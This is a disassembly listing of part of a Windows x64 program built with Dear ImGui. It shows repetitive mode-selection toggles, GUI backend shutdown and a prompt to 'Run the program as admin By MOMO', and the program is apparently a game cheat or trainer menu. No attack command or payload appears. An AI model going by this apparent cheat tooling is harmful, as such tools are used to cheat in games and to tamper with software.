cmp byte [0x1403a0e5c], 0
jne 0x140057673
cmp byte [0x1403a0ec0], 0
sete byte [0x1403a0ec0]
jmp 0x140057673
mov ecx, dword [rsp + 0x70]
mov eax, dword [0x1403a0de0]
cmp eax, 1
jne 0x14005768f
test dil, dil
je 0x14005772a
test r9b, r9b
jmp 0x14005771a
cmp eax, 2
jne 0x1400576a2
test sil, sil
je 0x14005772a
test r10b, r10b
jmp 0x14005771a
cmp eax, 3
jne 0x1400576b1
test r14b, r14b
je 0x14005772a
test r11b, r11b
jmp 0x14005771a
cmp eax, 4
jne 0x1400576bf
test r15b, r15b
je 0x14005772a
test bl, bl
jmp 0x14005771a
cmp eax, 5
jne 0x1400576d2
test r12b, r12b
je 0x14005772a
cmp byte [0x1403a0e5f], 0
jmp 0x14005771a
cmp eax, 6
jne 0x1400576e5
test r13b, r13b
je 0x14005772a
cmp byte [0x1403a0daf], 0
jmp 0x14005771a
cmp eax, 7
jne 0x1400576f7
test dl, dl
je 0x14005772a
cmp byte [0x1403a0d8d], 0
jmp 0x14005771a
cmp eax, 8
jne 0x14005770a
test r8b, r8b
je 0x14005772a
cmp byte [0x1403a0d8f], 0
jmp 0x14005771a
cmp eax, 9
jne 0x14005772a
test cl, cl
je 0x14005772a
cmp byte [0x1403a0e5c], 0
jne 0x14005772a
cmp byte [0x1403a0df5], 0
sete byte [0x1403a0df5]
mov eax, dword [0x1403a0dec]
cmp eax, 1
jne 0x140057746
test dil, dil
je 0x1400577e1
test r9b, r9b
jmp 0x1400577d1
cmp eax, 2
jne 0x140057759
test sil, sil
je 0x1400577e1
test r10b, r10b
jmp 0x1400577d1
cmp eax, 3
jne 0x140057768
test r14b, r14b
je 0x1400577e1
test r11b, r11b
jmp 0x1400577d1
cmp eax, 4
jne 0x140057776
test r15b, r15b
je 0x1400577e1
test bl, bl
jmp 0x1400577d1
cmp eax, 5
jne 0x140057789
test r12b, r12b
je 0x1400577e1
cmp byte [0x1403a0e5f], 0
jmp 0x1400577d1
cmp eax, 6
jne 0x14005779c
test r13b, r13b
je 0x1400577e1
cmp byte [0x1403a0daf], 0
jmp 0x1400577d1
cmp eax, 7
jne 0x1400577ae
test dl, dl
je 0x1400577e1
cmp byte [0x1403a0d8d], 0
jmp 0x1400577d1
cmp eax, 8
jne 0x1400577c1
test r8b, r8b
je 0x1400577e1
cmp byte [0x1403a0d8f], 0
jmp 0x1400577d1
cmp eax, 9
jne 0x1400577e1
test cl, cl
je 0x1400577e1
cmp byte [0x1403a0e5c], 0
jne 0x1400577e1
cmp byte [0x1403a0e96], 0
sete byte [0x1403a0e96]
mov eax, dword [0x1403a0db8]
cmp eax, 1
jne 0x1400577fd
test dil, dil
je 0x140057898
test r9b, r9b
jmp 0x140057888
cmp eax, 2
jne 0x140057810
test sil, sil
je 0x140057898
test r10b, r10b
jmp 0x140057888
cmp eax, 3
jne 0x14005781f
test r14b, r14b
je 0x140057898
test r11b, r11b
jmp 0x140057888
cmp eax, 4
jne 0x14005782d
test r15b, r15b
je 0x140057898
test bl, bl
jmp 0x140057888
cmp eax, 5
jne 0x140057840
test r12b, r12b
je 0x140057898
cmp byte [0x1403a0e5f], 0
jmp 0x140057888
cmp eax, 6
jne 0x140057853
test r13b, r13b
je 0x140057898
cmp byte [0x1403a0daf], 0
jmp 0x140057888
cmp eax, 7
jne 0x140057865
test dl, dl
je 0x140057898
cmp byte [0x1403a0d8d], 0
jmp 0x140057888
cmp eax, 8
jne 0x140057878
test r8b, r8b
je 0x140057898
cmp byte [0x1403a0d8f], 0
jmp 0x140057888
cmp eax, 9
jne 0x140057898
test cl, cl
je 0x140057898
cmp byte [0x1403a0e5c], 0
jne 0x140057898
cmp byte [0x1403a0ebe], 0
sete byte [0x1403a0ebe]
mov eax, dword [0x1403a0e7c]
cmp eax, 1
jne 0x1400578b4
test dil, dil
je 0x14005794f
test r9b, r9b
jmp 0x14005793f
cmp eax, 2
jne 0x1400578c7
test sil, sil
je 0x14005794f
test r10b, r10b
jmp 0x14005793f
cmp eax, 3
jne 0x1400578d6
test r14b, r14b
je 0x14005794f
test r11b, r11b
jmp 0x14005793f
cmp eax, 4
jne 0x1400578e4
test r15b, r15b
je 0x14005794f
test bl, bl
jmp 0x14005793f
cmp eax, 5
jne 0x1400578f7
test r12b, r12b
je 0x14005794f
cmp byte [0x1403a0e5f], 0
jmp 0x14005793f
cmp eax, 6
jne 0x14005790a
test r13b, r13b
je 0x14005794f
cmp byte [0x1403a0daf], 0
jmp 0x14005793f
cmp eax, 7
jne 0x14005791c
test dl, dl
je 0x14005794f
cmp byte [0x1403a0d8d], 0
jmp 0x14005793f
cmp eax, 8
jne 0x14005792f
test r8b, r8b
je 0x14005794f
cmp byte [0x1403a0d8f], 0
jmp 0x14005793f
cmp eax, 9
jne 0x14005794f
test cl, cl
je 0x14005794f
cmp byte [0x1403a0e5c], 0
jne 0x14005794f
cmp byte [0x1403a0ebc], 0
sete byte [0x1403a0ebc]
mov eax, dword [0x1403a0de4]
cmp eax, 1
jne 0x140057986
test dil, dil
je 0x140057af7
movzx ecx, byte [0x1403a0e5f]
test r9b, r9b
jne 0x140057afe
cmp byte [0x1403a0ec1], r9b
sete byte [0x1403a0ec1]
jmp 0x140057afe
cmp eax, 2
jne 0x1400579b7
test sil, sil
je 0x140057af7
movzx ecx, byte [0x1403a0e5f]
test r10b, r10b
jne 0x140057afe
cmp byte [0x1403a0ec1], r10b
sete byte [0x1403a0ec1]
jmp 0x140057afe
cmp eax, 3
jne 0x1400579e8
test r14b, r14b
je 0x140057af7
movzx ecx, byte [0x1403a0e5f]
test r11b, r11b
jne 0x140057afe
cmp byte [0x1403a0ec1], r11b
sete byte [0x1403a0ec1]
jmp 0x140057afe
cmp eax, 4
jne 0x140057a17
test r15b, r15b
je 0x140057af7
movzx ecx, byte [0x1403a0e5f]
test bl, bl
jne 0x140057afe
cmp byte [0x1403a0ec1], bl
sete byte [0x1403a0ec1]
jmp 0x140057afe
cmp eax, 5
jne 0x140057a46
movzx ecx, byte [0x1403a0e5f]
test r12b, r12b
je 0x140057afe
test cl, cl
jne 0x140057afe
cmp byte [0x1403a0ec1], cl
sete byte [0x1403a0ec1]
jmp 0x140057afe
cmp eax, 6
jne 0x140057a7b
test r13b, r13b
je 0x140057af7
cmp byte [0x1403a0daf], 0
movzx ecx, byte [0x1403a0e5f]
jne 0x140057afe
cmp byte [0x1403a0ec1], 0
sete byte [0x1403a0ec1]
jmp 0x140057afe
cmp eax, 7
jne 0x140057aa4
test dl, dl
je 0x140057af7
cmp byte [0x1403a0d8d], 0
movzx ecx, byte [0x1403a0e5f]
jne 0x140057afe
cmp byte [0x1403a0ec1], 0
sete byte [0x1403a0ec1]
jmp 0x140057afe
cmp eax, 8
jne 0x140057ace
test r8b, r8b
je 0x140057af7
cmp byte [0x1403a0d8f], 0
movzx ecx, byte [0x1403a0e5f]
jne 0x140057afe
cmp byte [0x1403a0ec1], 0
sete byte [0x1403a0ec1]
jmp 0x140057afe
cmp eax, 9
jne 0x140057af7
test cl, cl
je 0x140057af7
cmp byte [0x1403a0e5c], 0
movzx ecx, byte [0x1403a0e5f]
jne 0x140057afe
cmp byte [0x1403a0ec1], 0
sete byte [0x1403a0ec1]
jmp 0x140057afe
movzx ecx, byte [0x1403a0e5f]
mov eax, dword [0x1403a0dcc]
cmp eax, 1
jne 0x140057b25
test dil, dil
je 0x140057b84
test r9b, r9b
jne 0x140057b84
cmp byte [0x1403a0e85], 0
sete al
mov byte [0x1403a0e85], al
jmp 0x140057b8b
cmp eax, 2
jne 0x140057b34
test sil, sil
je 0x140057b84
test r10b, r10b
jmp 0x140057b11
cmp eax, 3
jne 0x140057b43
test r14b, r14b
je 0x140057b84
cmp eax, 4
jne 0x140057b51
movzx eax, byte [0x1403a0e85]
mov ecx, dword [0x1403a0de8]
cmp ecx, 8
jne 0x140057ba4
mov rbx, qword [0x1403a0d90]
test rbx, rbx
je 0x14005d970
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x14005d994
jmp 0x14005d973
mov rdi, r15
mov r8d, 0x241
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1403a0d90]
test rbx, rbx
jne 0x14005d9ba
mov r8d, 0x1033
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1403a0d90]
call fcn.1400470e0
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14005d9ce
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x14005d9dc
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14005d9eb
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x1403a0d90]
mov qword [rbx + 0x90], r15
mov qword [rbx + 0xa0], r15
and dword [rbx + 0xc], 0xfffffff7
test rax, rax
je 0x14005da0f
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x1403a0d90]
test rax, rax
je 0x14005da32
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x14005da56
jmp 0x14005da35
mov rbx, r15
mov r8d, 0xb7
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1403a0d90]
test rax, rax
jne 0x14005da7c
mov r8d, 0x1033
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1403a0d90]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x14005da96
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1403a0d90]
mov qword [rdi + 0x80], r15
mov qword [rdi + 0x90], r15
and dword [rdi + 4], 0xfffffff8
test rax, rax
je 0x14005dab3
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1403a0d90]
mov qword [0x1403a0d90], rbx
call fcn.140006db0
mov qword [0x1403a0d90], r15
test rbx, rbx
je 0x14005dafe
mov rcx, rbx
call fcn.140021c50
mov rax, qword [0x1403a0d90]
test rax, rax
je 0x14005daf5
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.14005dd50
mov rcx, qword [0x1403a0e88]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x7f8]
mov rcx, qword [rbp + 0x820]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x111f0]
movaps xmm13, xmmword [rsp + 0x11200]
movaps xmm12, xmmword [rsp + 0x11210]
movaps xmm11, xmmword [rsp + 0x11220]
movaps xmm10, xmmword [rsp + 0x11230]
movaps xmm9, xmmword [rsp + 0x11240]
movaps xmm8, xmmword [rsp + 0x11250]
movaps xmm7, xmmword [rsp + 0x11260]
movaps xmm6, xmmword [rsp + 0x11270]
mov rbx, qword [rsp + 0x112b0]
mov r13, qword [rsp + 0x11288]
mov r12, qword [rsp + 0x11290]
mov rdi, qword [rsp + 0x112c0]
mov rsi, qword [rsp + 0x112b8]
movaps xmm15, xmmword [rsp + 0x111e0]
mov r14, qword [rsp + 0x11280]
add rsp, 0x11298
pop r15
pop rbp
ret
mov ecx, 6
mov dword [rbp + 0x508], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x518], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x528], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x538], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x548], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x558], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14005dd50
mov rdx, qword [rbp + 0x7f8]
mov rcx, qword [rbp + 0x820]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x14005db26
mov ecx, r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x5e8], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor r9d, r9d
lea rdx, str.Run_the_program_as_admin_By_MOMO__
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3